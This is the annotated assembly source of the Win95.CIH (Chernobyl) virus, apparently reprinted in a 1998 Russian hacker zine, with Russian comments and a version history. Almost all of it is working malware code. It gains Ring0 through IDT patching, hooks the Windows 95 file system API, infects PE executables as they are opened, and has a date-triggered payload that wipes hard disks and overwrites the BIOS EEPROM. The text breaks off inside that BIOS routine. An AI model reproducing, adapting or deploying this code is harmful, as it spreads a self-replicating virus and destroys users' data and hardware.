; INFECTED VOICE ISSUE 98'09 ©1994-98, by STEALTH group ; online h/p/v/a zine (russian) ; mailto:noxyucT@usa.net ; ;Вирус Win95.CIH ;Оригинальный исходник вируса был прислан автором в макровирусный журнал ;Codebreakers #4. ; * Дизайнер : CIH Источник: TTIT TATUNG, Тайвань * ; * Дата Создания: 04/26/1998 Версия: 1.4 * ; * Время последней модификации: 05/31/1998 * ; * * ; * Turbo Assembler 4.0 : tasm /m cih * ; * Turbo Link 3.01 : tlink /3 /t cih, cih.exe * ; * * ; *==========================================================================* ; История модификаций ; *==========================================================================* ; * v1.0 1. Создать Вирус. * ; * 2. Вирус модифицирует IDT для достижения привилегий Ring0 * ; * 04/26/1998 3. Вирус не загружается повторно. * ; * 4. Вызывает IFSMgr_InstallFileSystemApiHook для внедрения в * ; * фйловую систему. * ; * 5. Изменяет точку входа в IFSMgr_InstallFileSystemApiHook. * ; * 6. Если операционная система открывает файл, он будет * ; * заражен, и не будет заражен повторно. * ; * 7. Файл будет заражен если он Read-Only. * ; * 8. Если файл заражаеся - его Дата и Время Модификации * ; * не будут изменены. * ; * 9. Когда вирус вызывает IFSMgr_Ring0_FileIO, он не будет * ; * вызывать предыдущий FileSystemApiHook, он вызовет функцию* ; * которую IFS Менеджер будет вызывать,чтобы выполнить * ; * обычный запрос Ввода/Вывода. * ; * 10. Размер Вируса 656 Байт. * ; *==========================================================================* ; * v1.1 1. Длинна файла не изменяется при заражении. * ; * 05/15/1998 2. Перехватывается Structured Exception Handing (SEH). * ; * Если возникает ошибка исключения, то ОС - скорее всего * ; * Windows NT. Так что наш прикольный вирус не будет * ; * продолжать Свое Дело :) он передаст управление * ; * оригинальной программе. * ; * 3. Использован лучший алгоритм. Размер вируса уменьшен. * ; * 4. "Базовый" размер вируса 796 Баит. * ; *==========================================================================* ; * v1.2 1. Убить все жесткие диски, и BIOS... Все... Hахуй... * ; * 2. Исправлен баг в v1.1 * ; * 05/21/1998 3. "Базовый" размер вируса 1003 Байт. * ; *==========================================================================* ; * v1.3 1. Исрпавлен баг с ошибкой WinZip Self-Extractor'a * ; * Теперь эти файлы не заражаются. * ; * 05/24/1998 2. "Базовый" размер вируса 1010 Байт. * ; *==========================================================================* ; * v1.4 1. Баг с WinZip Self-Extractor полностью исправлен. * ; * 2. Изменена дата стабатывания "сюрприза". * ; * 05/31/1998 3. Исправлена версия Copyright. * ; * 4. "Базовый" размер вируса 1019 Байт. * ; **************************************************************************** .586P ; **************************************************************************** ; * Оригинальный PE файл (Hе стоит модифицировать эту секцию) ; **************************************************************************** OriginalAppEXE SEGMENT FileHeader: db 04dh, 05ah, 090h, 000h, 003h, 000h, 000h, 000h db 004h, 000h, 000h, 000h, 0ffh, 0ffh, 000h, 000h db 0b8h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 040h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 080h, 000h, 000h, 000h db 00eh, 01fh, 0bah, 00eh, 000h, 0b4h, 009h, 0cdh db 021h, 0b8h, 001h, 04ch, 0cdh, 021h, 054h, 068h db 069h, 073h, 020h, 070h, 072h, 06fh, 067h, 072h db 061h, 06dh, 020h, 063h, 061h, 06eh, 06eh, 06fh db 074h, 020h, 062h, 065h, 020h, 072h, 075h, 06eh db 020h, 069h, 06eh, 020h, 044h, 04fh, 053h, 020h db 06dh, 06fh, 064h, 065h, 02eh, 00dh, 00dh, 00ah db 024h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 050h, 045h, 000h, 000h, 04ch, 001h, 001h, 000h db 0f1h, 068h, 020h, 035h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 0e0h, 000h, 00fh, 001h db 00bh, 001h, 005h, 000h, 000h, 010h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 010h, 010h, 000h, 000h, 000h, 010h, 000h, 000h db 000h, 020h, 000h, 000h, 000h, 000h, 040h, 000h db 000h, 010h, 000h, 000h, 000h, 002h, 000h, 000h db 004h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 004h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 020h, 000h, 000h, 000h, 002h, 000h, 000h db 000h, 000h, 000h, 000h, 002h, 000h, 000h, 000h db 000h, 000h, 010h, 000h, 000h, 010h, 000h, 000h db 000h, 000h, 010h, 000h, 000h, 010h, 000h, 000h db 000h, 000h, 000h, 000h, 010h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 02eh, 074h, 065h, 078h, 074h, 000h, 000h, 000h db 000h, 010h, 000h, 000h, 000h, 010h, 000h, 000h db 000h, 010h, 000h, 000h, 000h, 002h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 020h, 000h, 000h, 060h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 0c3h, 000h, 000h, 000h, 000h, 000h, 000h, 000h dd 00000000h, VirusSize OriginalAppEXE ENDS ; ---------------------------------------------------------------------------- ; Моя игра в вирусы ; ---------------------------------------------------------------------------- ;---------------------------------------------------------------------------- ; Определение констант ;---------------------------------------------------------------------------- TRUE = 1 FALSE = 0 DEBUG = TRUE MajorVirusVersion = 1 MinorVirusVersion = 4 VirusVersion = MajorVirusVersion*10h+MinorVirusVersion IF DEBUG FirstKillHardDiskNumber = 81h HookExceptionNumber = 05h ELSE FirstKillHardDiskNumber = 80h HookExceptionNumber = 03h ENDIF FileNameBufferSize = 7fh ;---------------------------------------------------------------------------- ;---------------------------------------------------------------------------- VirusGame SEGMENT ASSUME CS:VirusGame, DS:VirusGame, SS:VirusGame ASSUME ES:VirusGame, FS:VirusGame, GS:VirusGame ;---------------------------------------------------------------------------- ; Инициализация на Кольце 3 (Ring3) ;---------------------------------------------------------------------------- MyVirusStart: push ebp ;---------------------------------------------------------------------------- ; Модифицируем Structured Exception Handing, для предотвращения ошибки ; исключения, особенно на windows NT. ;---------------------------------------------------------------------------- lea eax, [esp-04h*2] xor ebx, ebx xchg eax, fs:[ebx] call @0 @0: pop ebx lea ecx, StopToRunVirusCode-@0[ebx] push ecx push eax ;---------------------------------------------------------------------------- ; Модификация IDT (Interrupt Descriptor Table - таблицы дескрипторов ; прерываний) для достижения привилегий Ring0 ;---------------------------------------------------------------------------- push eax ; sidt [esp-02h] ; Получить базовый адрес IDT pop ebx ; add ebx, HookExceptionNumber*08h+04h; ZF = 0 cli mov ebp, [ebx] ; Получить базу ; прерывания/исключения mov bp, [ebx-04h] ; и точку входа lea esi, MyExceptionHook-@1[ecx] push esi mov [ebx-04h], si ; shr esi, 16 ; Перехватить прерывание mov [ebx+02h], si ; наша точка входа pop esi ;---------------------------------------------------------------------------- ; Сгенерируеи исключение, чтоб перейти на Кольцо0 ;---------------------------------------------------------------------------- int HookExceptionNumber ; Генерируем ReturnAddressOfEndException = $ ;---------------------------------------------------------------------------- ; Обьединим все кодовые секции вируса ;---------------------------------------------------------------------------- push esi mov esi, eax LoopOfMergeAllVirusCodeSection: mov ecx, [eax-04h] rep movsb sub eax, 08h mov esi, [eax] or esi, esi jz QuitLoopOfMergeAllVirusCodeSection; ZF = 1 jmp LoopOfMergeAllVirusCodeSection QuitLoopOfMergeAllVirusCodeSection: pop esi ;---------------------------------------------------------------------------- ; Генерируем исключение снова ;---------------------------------------------------------------------------- int HookExceptionNumber ; Генерируем снова ;---------------------------------------------------------------------------- ; Восстановим Structured Exception Handing (SEH) назад ;---------------------------------------------------------------------------- ReadyRestoreSE: sti xor ebx, ebx jmp RestoreSE ;---------------------------------------------------------------------------- ; Когда возникнет Ошибка Исключения, наша ОС должно быть - Windows NT ; Так что мой миленький :) вирус не будет работать дальше, а вернет ; управление оригинальному приложению ;---------------------------------------------------------------------------- StopToRunVirusCode: @1 = StopToRunVirusCode xor ebx, ebx mov eax, fs:[ebx] mov esp, [eax] RestoreSE: pop dword ptr fs:[ebx] pop eax ;---------------------------------------------------------------------------- ; Возвратить управление программе ;---------------------------------------------------------------------------- pop ebp push 00401000h ; Точка входа OriginalAddressOfEntryPoint = $-4 ; в оригинальную программу ret ; Возвратить управление ;---------------------------------------------------------------------------- ; Инициализация на кольце 0 ;---------------------------------------------------------------------------- MyExceptionHook: @2 = MyExceptionHook jz InstallMyFileSystemApiHook ;---------------------------------------------------------------------------- ; Запущена ли другая копия !? ;---------------------------------------------------------------------------- mov ecx, dr0 jecxz AllocateSystemMemoryPage add dword ptr [esp], ReadyRestoreSE-ReturnAddressOfEndException ;---------------------------------------------------------------------------- ; Возвратиться в программу инициализации на Кольце0 ;---------------------------------------------------------------------------- ExitRing0Init: mov [ebx-04h], bp ; shr ebp, 16 ; Восстановить прерывание mov [ebx+02h], bp ; iretd ;---------------------------------------------------------------------------- ; Выделить страницу системной памяти ;---------------------------------------------------------------------------- AllocateSystemMemoryPage: mov dr0, ebx ; Поставим метку, что вирус ; уже запущен push 00000000fh ; push ecx ; push 0ffffffffh ; push ecx ; push ecx ; push ecx ; push 000000001h ; push 000000002h ; int 20h ; VMMCALL _PageAllocate _PageAllocate = $ ; dd 00010053h ; Использует EAX, ECX, EDX, ; и флаги add esp, 08h*04h xchg edi, eax ; EDI = Hачальный адрес ; выделенной памяти lea eax, MyVirusStart-@2[esi] iretd ; Возвратиться в программу инициализации ; на Кольце0 ;---------------------------------------------------------------------------- ; Установить мой обработчик API файловой системы ;---------------------------------------------------------------------------- InstallMyFileSystemApiHook: lea eax, FileSystemApiHook-@6[edi] push eax ; int 20h ; VXDCALL IFSMgr_InstallFileSystemApiHook IFSMgr_InstallFileSystemApiHook = $ ; dd 00400067h ; Использует EAX, ECX, EDX, ; и флаги mov dr0, eax ; сохранить адрес старого ; обработчика ; (OldFileSystemApiHook) pop eax ; EAX = адрес FileSystemApiHook ; Сохранить старый адрес процедуры перехвата ; сервисов файловой системы ; (IFSMgr_InstallFileSystemApiHook) mov ecx, IFSMgr_InstallFileSystemApiHook-@2[esi] mov edx, [ecx] mov OldInstallFileSystemApiHook-@3[eax], edx ; Перехватить запросы на установку нового ; обработчика API файловой системы ; (IFSMgr_InstallFileSystemApiHook) lea eax, InstallFileSystemApiHook-@3[eax] mov [ecx], eax cli jmp ExitRing0Init ;---------------------------------------------------------------------------- ; Размер загрузчика, котрый склеивает все части вируса ;---------------------------------------------------------------------------- CodeSizeOfMergeVirusCodeSection = offset $ ;---------------------------------------------------------------------------- ; Обработчик сервиса перехвата API файловой системы ; IFSMgr_InstallFileSystemApiHook ;---------------------------------------------------------------------------- InstallFileSystemApiHook: push ebx call @4 ; @4: ; pop ebx ; mov ebx, offset FileSystemApiHook add ebx, FileSystemApiHook-@4 ; push ebx ; временно удалить наш обработчик int 20h ; VXDCALL IFSMgr_RemoveFileSystemApiHook IFSMgr_RemoveFileSystemApiHook = $ dd 00400068h ; Использует EAX, ECX, EDX, ; и флаги pop eax ; Вызвать оригинальный IFSMgr_InstallFileSystemApiHook ; чтобы добавить запрошенный клиентом обработчик push dword ptr [esp+8] call OldInstallFileSystemApiHook-@3[ebx] pop ecx push eax ; Вызвать оригинальный IFSMgr_InstallFileSystemApiHook ; чтобы добавить наш обработчик сверху всех push ebx call OldInstallFileSystemApiHook-@3[ebx] pop ecx mov dr0, eax ; Изменить адрес старого ; обработчика API файловой ; системы ; (OldFileSystemApiHook) pop eax pop ebx ret ;---------------------------------------------------------------------------- ; Статические (неподвижные) данные ;---------------------------------------------------------------------------- OldInstallFileSystemApiHook dd ? ;---------------------------------------------------------------------------- ; Обработчик API файловой системы (IFSMgr_FileSystemHook) ;---------------------------------------------------------------------------- ;---------------------------------------------------------------------------- ; Точка входа в IFSMgr_FileSystemHook ;---------------------------------------------------------------------------- FileSystemApiHook: @3 = FileSystemApiHook pushad call @5 ; @5: ; pop esi ; mov esi, offset VirusGameDataStartAddress add esi, VirusGameDataStartAddress-@5 ;------------------------------------ ; Поставлен ли флажек занятости!? ;------------------------------------ test byte ptr (OnBusy-@6)[esi], 01h ; если поставлен - jnz pIFSFunc ; исполнить запрошенную функцию ; (goto pIFSFunc) ;------------------------------------ ; Запрос на открытие файла (OpenFile)!? ;------------------------------------ ; Если это не открытие файла - ; исполнить оригинальный обработчик ; (goto prevhook) lea ebx, [esp+20h+04h+04h] cmp dword ptr [ebx], 00000024h jne prevhook ;------------------------------------ ; Включить флажек занятости ;------------------------------------ inc byte ptr (OnBusy-@6)[esi] ;---------------------------------------------------------------------------- ; Получить номер диска из ПутиКФайлу ; и установить имя диска в Буфере (FileNameBuffer) ;------------------------------------ ; Hапример. если HомерДиска 03h, ; - Имя диска 'C:' ;---------------------------------------------------------------------------- ; mov esi, offset FileNameBuffer add esi, FileNameBuffer-@6 push esi mov al, [ebx+04h] cmp al, 0ffh je CallUniToBCSPath add al, 40h mov ah, ':' mov [esi], eax inc esi inc esi ;--------------------------------------------------------------------------* ; UniToBCSPath ;--------------------------------------------------------------------------* ; Этот сервис конвертирует Канонизированный Unicode путь ; в нормальный в выбранной кодовой странице BCS ;--------------------------------------------------------------------------* CallUniToBCSPath: push 00000000h push FileNameBufferSize mov ebx, [ebx+10h] mov eax, [ebx+0ch] add eax, 04h push eax push esi int 20h ; VXDCall UniToBCSPath UniToBCSPath = $ dd 00400041h add esp, 04h*04h ;------------------------------------ ; имя файла кончается на '.EXE' !? ;------------------------------------ ; cmp [esi+eax-04h], '.EXE' cmp [esi+eax-04h], 'EXE.' pop esi jne DisableOnBusy IF DEBUG ;------------------------------------ ; Только для отладки ;------------------------------------ ; cmp [esi+eax-06h], 'FUCK' cmp [esi+eax-06h], 'KCUF' jne DisableOnBusy ENDIF ;------------------------------------ ; открывается уже существующий файл!? ;------------------------------------ ; if ( NotOpenExistingFile ) ; goto DisableOnBusy cmp word ptr [ebx+18h], 01h jne DisableOnBusy ;------------------------------------ ; получить аттрибуты файла ;------------------------------------ mov ax, 4300h int 20h ; VXDCall IFSMgr_Ring0_FileIO IFSMgr_Ring0_FileIO = $ dd 00400032h jc DisableOnBusy push ecx ;------------------------------------ ; получить адрес файлового сервиса ввода-вывода ; (IFSMgr_Ring0_FileIO) ;------------------------------------ mov edi, dword ptr (IFSMgr_Ring0_FileIO-@7)[esi] mov edi, [edi] ;------------------------------------ ; Файл только для чтения!? ;------------------------------------ test cl, 01h jz OpenFile ;------------------------------------ ; переставить в чтение-запись ;------------------------------------ mov ax, 4301h xor ecx, ecx call edi ; VXDCall IFSMgr_Ring0_FileIO ;------------------------------------ ; открыть файл ;------------------------------------ OpenFile: xor eax, eax mov ah, 0d5h xor ecx, ecx xor edx, edx inc edx mov ebx, edx inc ebx call edi ; VXDCall IFSMgr_Ring0_FileIO xchg ebx, eax; mov ebx, FileHandle ; хендл файла в ebx ;------------------------------------ ; Hадо ли восстановить атрибуты файла? ;------------------------------------ pop ecx pushf test cl, 01h jz IsOpenFileOK ;------------------------------------ ; Восстановить атрибуты ;------------------------------------ mov ax, 4301h call edi ; VXDCall IFSMgr_Ring0_FileIO ;------------------------------------ ; Файл открыт? ;------------------------------------ IsOpenFileOK: popf jc DisableOnBusy ;------------------------------------ ; Если открытие файла прошло удачно ;------------------------------------ push esi ; Сохраним адрес буфера ; (с именем файла) в стек ; (FileNameBuffer) pushf ; Теперь CF = 0, Сохранить флаги add esi, DataBuffer-@7 ; mov esi, offset DataBuffer ;-------------------------- ; получить смещение до NE-заголовка ;-------------------------- xor eax, eax mov ah, 0d6h ; Чтобы минимизировать код ; я сохраняю EAX в EBP. mov ebp, eax push 00000004h pop ecx push 0000003ch pop edx call edi ; VXDCall IFSMgr_Ring0_FileIO mov edx, [esi] ;---------------------------------------------------------------------------- ; Получить 'PE\0' сигнатуру из заголовка файла ; и метку заражения ;---------------------------------------------------------------------------- dec edx mov eax, ebp call edi ; VXDCall IFSMgr_Ring0_FileIO ;---------------------------------------------------------------------------- ; Это PE !? ;-------------------------- ; Файл уже заражен ?! ;-------------------------- ; самораспаковывающиеся WinZip архивы ; не имеют метки заражения, потому что мой вирус не заражает их ;---------------------------------------------------------------------------- ; cmp [esi], '\0PE\0' cmp dword ptr [esi], 00455000h jne CloseFile ;---------------------------------------------------------------------------- ; Файл - PE (Portable Executable) ;------------------------------------ ; Файл также не заражен ;------------------------------------ ;------------------------------------ ; Hачать заражение ;------------------------------------ ; Статус использования регистров ; в этот момент: ; EAX = 04h ; EBX = Хэндл файла ; ECX = 04h ; EDX = (позиция в файле) указывает на 'PE\0\0'-сигнатуру в заголовке файла ; ESI = адрес буфера данных ==> @8 ; EDI = адрес обработчика IFSMgr_Ring0_FileIO ; EBP = D600h ==> Считать данные из файла ;---------------------------------------------------------------------------- ; Стек: ; * ; ESP => ------------------------- * ; | EFLAG(CF=0) | * ; ------------------------- * ; | FileNameBufferPointer | * ; ------------------------- * ; | EDI | * ; ------------------------- * ; | ESI | * ; ------------------------- * ; | EBP | * ; ------------------------- * ; | ESP | * ; ------------------------- * ; | EBX | * ; ------------------------- * ; | EDX | * ; ------------------------- * ; | ECX | * ; ------------------------- * ; | EAX | * ; ------------------------- * ; | Адрес возврата | * ; ------------------------- * ;---------------------------------------------------------------------------- push ebx ; сохранить хэндл файла push 00h ; установить марку конца таблицы ; кодовых секций вируса ; (VirusCodeSectionTableEndMark) ;-------------------------- ; Поставить метку зараженности ;-------------------------- push 01h ; Размер push edx ; Позиция в файле push edi ; Адрес буфера ;-------------------------- ; Сохранить ESP ;-------------------------- mov dr1, esp ;-------------------------- ; Установить новый адрес точки входа (NewAddressOfEntryPoint). ; ( Only First Set Size ) * ;-------------------------- push eax ; Размер ;-------------------------- ; Считать заголовок файла ;-------------------------- mov eax, ebp mov cl, SizeOfImageHeaderToRead add edx, 07h; Переместить EDX (указатель) на ; количество секций call edi ; VXDCall IFSMgr_Ring0_FileIO ;---------------------------------------------------------------------------- ; Установить новый адрес точки входа (NewAddressOfEntryPoint). ; Установить указатель, адрес буфера ;---------------------------------------------------------------------------- lea eax, (AddressOfEntryPoint-@8)[edx] push eax ; Указатель lea eax, (NewAddressOfEntryPoint-@8)[esi] push eax ; Адрес буфера ;---------------------------------------------------------------------------- ; Переместить EDX-указатель на начало таблицы секций ;---------------------------------------------------------------------------- movzx eax, word ptr (SizeOfOptionalHeader-@8)[esi] lea edx, [eax+edx+12h] ;---------------------------------------------------------------------------- ; получить общий размер секций ;---------------------------------------------------------------------------- mov al, SizeOfScetionTable ; Я предполагаю что количество секций ; (NumberOfSections) <= 0ffh mov cl, (NumberOfSections-@8)[esi] mul cl ;-------------------------- ; установить таблицу секций ;-------------------------- ; Переместить ESI на начало таблицы секций lea esi, (StartOfSectionTable-@8)[esi] push eax ; Размер push edx ; Позиция в файле push esi ; Адрес буфера ;---------------------------------------------------------------------------- ; размер вирусного загрузчика + размер таблицы секций вируса, ; должен быть меньше или равен размеру неиспользуемого места ; в файле (этот размер расчитывается из таблицы секций) ;---------------------------------------------------------------------------- inc ecx push ecx ; Сохранить количество секций +1 ; (NumberOfSections+1) shl ecx, 03h push ecx ; сохранить размер таблицы секций вируса ; (TotalSizeOfVirusCodeSectionTable) add ecx, eax add ecx, edx sub ecx, (SizeOfHeaders-@9)[esi] not ecx inc ecx ; Сокранить первую кодовую секцию вируса (загрузчик) ; Size of Following Section Table... ; (Hе включая размер таблицы кодовых секций вируса) push ecx xchg ecx, eax ; ECX = Размер таблицы секций ; Сохранить адрес оригинальной точки входа mov eax, (AddressOfEntryPoint-@9)[esi] add eax, (ImageBase-@9)[esi] mov (OriginalAddressOfEntryPoint-@9)[esi], eax cmp word ptr [esp], small CodeSizeOfMergeVirusCodeSection jl OnlySetInfectedMark ;-------------------------- ; Считать размер всех секций (файла) ;-------------------------- mov eax, ebp call edi ; VXDCall IFSMgr_Ring0_FileIO ;---------------------------------------------------------------------------- ; Исправлено: ; Возникновение ошибки в самораспаковывающихся архивах WinZip ;---------------------------------------------------------------------------- ; Если юзер открывает самораспаковывыющийся WinZip-архив, ; то вирус его не заражает (архив в смысле :) ;---------------------------------------------------------------------------- ; Сначала, вирус получает указатель на секцию Raw-данных (PointerToRawData) ; во второй таблице секций, читает данные из секции, и ищет строку 'WinZip®' ;---------------------------------------------------------------------------- xchg eax, ebp push 00000004h pop ecx push edx mov edx, (SizeOfScetionTable+PointerToRawData-@9)[esi] add edx, 12h call edi ; VXDCall IFSMgr_Ring0_FileIO ; cmp [esi], 'nZip' cmp dword ptr [esi], 'piZn' je NotSetInfectedMark pop edx ;---------------------------------------------------------------------------- ; Установить общий размер таблицы секций вируса ;---------------------------------------------------------------------------- ; EBX = Размер первой секции вируса ; плюс размер последующей таблицы вирусных ; секций (но не сама таблица) pop ebx pop edi ; EDI = общий размер таблицы ; секций вируса ; (TotalSizeOfVirusCodeSectionTable) pop ecx ; ECX = Количество секций +1 ; (NumberOfSections+1) push edi ; Размер add edx, ebp push edx ; Позиция add ebp, esi push ebp ; Адрес буфера ;---------------------------------------------------------------------------- ; Установить размер первой секции вируса в ; таблице секций вируса (VirusCodeSectionTable) ;---------------------------------------------------------------------------- lea eax, [ebp+edi-04h] mov [eax], ebx ;---------------------------------------------------------------------------- ; Записать первую секцию вируса ;---------------------------------------------------------------------------- push ebx ; Size add edx, edi push edx ; Pointer of File lea edi, (MyVirusStart-@9)[esi] push edi ; Address of Buffer ;---------------------------------------------------------------------------- ; Изменить адрес точки входа на точку входа в вирус ;---------------------------------------------------------------------------- mov (NewAddressOfEntryPoint-@9)[esi], edx ;-------------------------- ; Установка начальных данных ;-------------------------- lea edx, [esi-SizeOfScetionTable] mov ebp, offset VirusSize jmp StartToWriteCodeToSections ;-------------------------- ; Записать код вируса в секции ;-------------------------- LoopOfWriteCodeToSections: add edx, SizeOfScetionTable mov ebx, (SizeOfRawData-@9)[edx] sub ebx, (VirtualSize-@9)[edx] jbe EndOfWriteCodeToSections push ebx ; Размер sub eax, 08h mov [eax], ebx mov ebx, (PointerToRawData-@9)[edx] add ebx, (VirtualSize-@9)[edx] push ebx ; Позиция в файле push edi ; Адрес буфера mov ebx, (VirtualSize-@9)[edx] add ebx, (VirtualAddress-@9)[edx] add ebx, (ImageBase-@9)[esi] mov [eax+4], ebx mov ebx, [eax] add (VirtualSize-@9)[edx], ebx ; Секция содержит инициализируемые данные ; ==> 00000040h ; Секция доступна для чтения ==> 40000000h or (Characteristics-@9)[edx], 40000040h StartToWriteCodeToSections: sub ebp, ebx jbe SetVirusCodeSectionTableEndMark add edi, ebx ; переместить адрес буфера EndOfWriteCodeToSections: loop LoopOfWriteCodeToSections ;-------------------------- ; Поставить метку зараженности ;-------------------------- OnlySetInfectedMark: mov esp, dr1 jmp WriteVirusCodeToFile ;-------------------------- ; Hе ставить метку зараженности ;-------------------------- NotSetInfectedMark: add esp, 3ch jmp CloseFile ;-------------------------- ; Записать метку конца таблицы секций вируса ;-------------------------- SetVirusCodeSectionTableEndMark: ; изменить размер кодовой секции вируса add [eax], ebp add [esp+08h], ebp ; установить метку окончания xor ebx, ebx mov [eax-04h], ebx ;---------------------------------------------------------------------------- ; Когда вирус вызывает VxDCall, VMM модифицирует код 'int 20h' и ; идентификатор сервиса ('Service Identifier') на код 'Call [XXXXXXXX]' ;---------------------------------------------------------------------------- ; Перед записью вируса в файл, надо восстановить все эти места кода ;---------------------------------------------------------------------------- lea eax, (LastVxDCallAddress-2-@9)[esi] mov cl, VxDCallTableSize LoopOfRestoreVxDCallID: mov word ptr [eax], 20cdh mov edx, (VxDCallIDTable+(ecx-1)*04h-@9)[esi] mov [eax+2], edx movzx edx, byte ptr (VxDCallAddressTable+ecx-1-@9)[esi] sub eax, edx loop LoopOfRestoreVxDCallID ;-------------------------- ; Записать код вируса в файл ;-------------------------- WriteVirusCodeToFile: mov eax, dr1 mov ebx, [eax+10h] mov edi, [eax] LoopOfWriteVirusCodeToFile: pop ecx jecxz SetFileModificationMark mov esi, ecx mov eax, 0d601h pop edx pop ecx call edi ; VXDCall IFSMgr_Ring0_FileIO jmp LoopOfWriteVirusCodeToFile ;---------------------------------------------------------------------------- ; Задать CF = 1 ==> надо для восстановления времени модификации файла ;---------------------------------------------------------------------------- SetFileModificationMark: pop ebx pop eax stc ; Установить CF (Флаг переноса) pushf ;------------------------------------ ; Закрыть файл ;------------------------------------ CloseFile: xor eax, eax mov ah, 0d7h call edi ; VXDCall IFSMgr_Ring0_FileIO ;------------------------------------ ; Hадо ли восстанавливать время модификации файла?! ;------------------------------------ popf pop esi jnc IsKillComputer ;------------------------------------ ; Восстановить время модификации файла ;------------------------------------ mov ebx, edi mov ax, 4303h mov ecx, (FileModificationTime-@7)[esi] mov edi, (FileModificationTime+2-@7)[esi] call ebx ; VXDCall IFSMgr_Ring0_FileIO ;------------------------------------ ; Выключить флаг занятости ;------------------------------------ DisableOnBusy: dec byte ptr (OnBusy-@7)[esi] ; Выключить ;------------------------------------ ; Вызвать предыдущий обработчик файлоывого API ... (FileSystemApiHook) ;------------------------------------ prevhook: popad mov eax, dr0 ; jmp [eax] ; Перейти на предыдущий ; обработчик ;---------------------------------------------------------------------------- ; Вызвать функцию, которую IFS менеджер обычно вызывает для выполнения ; обычного запроса ввода-вывода. ;---------------------------------------------------------------------------- pIFSFunc: mov ebx, esp push dword ptr [ebx+20h+04h+14h] ; Запрос call [ebx+20h+04h] ; Вызвать pIFSFunc pop ecx ; mov [ebx+1ch], eax ; Исправить значение EAX ; сохраненное в стеке ;---------------------------------------------------------------------------- ; После вызова pIFSFunc, получить данные возвращенные на запрос ;---------------------------------------------------------------------------- cmp dword ptr [ebx+20h+04h+04h], 00000024h jne QuitMyVirusFileSystemHook ;---------------------------------------------------------------------------- ; Получить время и дату модификации в DOS форматы ;---------------------------------------------------------------------------- mov eax, [ecx+28h] mov (FileModificationTime-@6)[esi], eax ;---------------------------------------------------------------------------- ; Выйти из обработчика (IFSMgr_FileSystemHook) ;---------------------------------------------------------------------------- QuitMyVirusFileSystemHook: popad ret ;------------------------------------ ; Разье$ать компьютер!? ... *^_^* ;------------------------------------ IsKillComputer: ; Получить сегодняшнее число из BIOS CMOS mov al, 07h out 70h, al in al, 71h xor al, 26h; ??/26/???? IF DEBUG jmp DisableOnBusy ELSE jnz DisableOnBusy ENDIF ; (непереводимо :) ;------------------------------------* ; Kill Kill Kill Kill Kill Kill Kill * ; Kill Kill Kill Kill Kill Kill Kill * ; Kill Kill Kill Kill Kill Kill Kill * ; Kill Kill Kill Kill Kill Kill Kill * ; Kill Kill Kill Kill Kill Kill Kill * ; Kill Kill Kill Kill Kill Kill Kill * ; Kill Kill Kill Kill Kill Kill Kill * ; Kill Kill Kill Kill Kill Kill Kill * ; Kill Kill Kill Kill Kill Kill Kill * ; Kill Kill Kill Kill Kill Kill Kill * ; Kill Kill Kill Kill Kill Kill Kill * ; Kill Kill Kill Kill Kill Kill Kill * ; Kill Kill Kill Kill Kill Kill Kill * ; Kill Kill Kill Kill Kill Kill Kill * ; Kill Kill Kill Kill Kill Kill Kill * ; Kill Kill Kill Kill Kill Kill Kill * ; Kill Kill Kill Kill Kill Kill Kill * ; Kill Kill Kill Kill Kill Kill Kill * ;------------------------------------* ;-------------------------- ; Прибить BIOS EEPROM ;-------------------------- mov bp, 0cf8h lea esi, IOForEEPROM-@7[esi] ;---------------------- ; Прочитать страницу BIOS ; 000E0000 - 000EFFFF ; ( 64 KB ) ;---------------------- mov edi, 8000384ch mov dx, 0cfeh cli call esi ;---------------------- ; Прочитать страницу BIOS ; 000F0000 - 000FFFFF ; ( 64 KB ) ;---------------------- mov di, 0058h dec edx ; and al,0fh mov word ptr (BooleanCalculateCode-@10)[esi], 0f24h call esi ;---------------------- ; Прочитать дополнительные данные BIOS ; 000E0000 - 000E01FF ; ( 512 Bytes ) ; и секция дополнительного BIOS (Extra BIOS) ; может быть записана... ;---------------------- lea ebx, EnableEEPROMToWrite-@10[esi] mov eax, 0e5555h mov 